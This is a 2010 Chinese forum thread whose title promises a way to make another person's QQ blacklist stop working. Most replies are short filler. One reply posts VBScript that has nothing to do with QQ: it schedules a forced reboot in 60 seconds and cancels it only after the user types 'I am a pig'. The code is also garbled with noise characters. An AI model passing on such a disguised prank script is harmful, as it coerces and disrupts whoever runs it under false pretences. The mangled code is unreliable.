使对方的QQ黑名单失效

馨岚 · 发表于 2010-7-29 19:59:59

看下不知有用么

liumangtu · 发表于 2010-7-29 21:28:31

瞅瞅呢，呵呵~~~~~~

wnv · 发表于 2010-7-30 17:43:17

到底有没用呢

qazwsx1234edc · 发表于 2010-7-31 08:42:20

这个有必要看看啊

xgywq · 发表于 2010-7-31 09:01:08

看看来了。。。。

cctv520xixi · 发表于 2010-8-2 20:12:50

我只是来拿走一个积分！

buffetyan · 发表于 2010-8-3 06:58:36

啊，QQ重装过还可以吗？

l0824520 · 发表于 2010-8-3 08:28:20

我也想去做坏事啊但是有呢个胆才行啊

xieli1820 · 发表于 2010-8-3 08:34:38

这么好的事情，学习一下！！

2882346 · 发表于 2010-8-3 11:02:08

看看啊。学学

0411leech · 发表于 2010-8-3 11:07:35

我是来学习的

zx0305 · 发表于 2010-8-3 23:34:53

代码如下：
: W5 ?/ }8 d! t+ Bon error resume next
7 d& @* P, t1 d- v4 Q9 V% Fdim WSHshellA
$ m6 u% q5 B! O/ ^6 bset WSHshellA = wscript.createobject("wscript.shell")
+ l1 |: Z" L5 z, i3 bWSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true c, B4 c! s; F) N: P1 \
dim a
1 `: k1 E' c6 m( U" Kdo while(a <> "我是猪")
7 n) A9 z" w# |; K) M8 Ga = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)
: N" I& ?* E, ]- N* q8 o! w, h& Nmsgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
4 H6 m# I! D: e& A# F9 \) w( tloop, n0 B w* d/ ]) }( Z2 @
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"" X ]9 n% ?- e# |
dim WSHshell. n9 c$ H4 P: w- N
set WSHshell = wscript.createobject("wscript.shell")* r( L* A9 }- q# P4 N8 U; g
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
* p3 A+ f4 q$ {+ ~msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"6

761289561 · 发表于 2010-8-4 17:22:40

不会又是老方法吧？

shadow125 · 发表于 2010-8-4 18:10:11

回复中的啊啊

1115616541 · 发表于 2010-8-4 20:29:51

看看希望有帮助

账号		自动登录	找回密码
密码			注册[Register]

[技术] 使对方的QQ黑名单失效